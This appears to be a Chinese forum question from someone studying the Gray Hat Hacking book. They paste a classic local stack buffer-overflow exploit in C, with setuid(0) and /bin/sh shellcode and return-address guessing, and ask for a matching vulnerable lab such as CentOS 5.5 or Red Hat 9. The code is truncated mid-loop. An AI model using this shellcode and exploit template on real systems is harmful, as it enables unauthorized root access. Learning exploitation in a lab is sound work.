我在看一本叫 《灰帽子攻击手册的书》的时候看到的
下面代码是我从某个网站上复制来的,和书中的差不多 想问下有没有相应的靶机环境
我看到有人在 Centos5.5 上复现了,但是我失败了 球大佬指点
//exploit.c
#include
char shellcode[]= //setuid(0)
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void){
asm("movl %esp,%eax");
}
int main(int argc,char *argv[1]){
int i,offset=0;
long esp,ret,*addr_ptr;
char *buffer,*ptr;
int size=500;
esp=get_sp();
if(argc>1) size=atoi(argv[1]);//atoi 将字符串转换成整型数字
if(argc>2) offset=atoi(argv[2]);
if(argc>3) esp=strtoul(argv[3],NULL,0);//将参数转换为无符号长整数型
ret=esp-offset;
fprintf(stderr,"Usage:%sesp:0xfff...\n",argv[0]);
fprintf(stderr,"ESP:0x%x Offset:0x%x Return:0x%x\n",esp,offset,ret);
buffer=(char *)malloc(size);
ptr=buffer;
addr_ptr=(long *)ptr;
for(i=0;i
我还是贴上连接把 https://www.cnblogs.com/shanmao/archive/2012/12/20/2826179.html 这上面貌似用的是 red hat9 复现的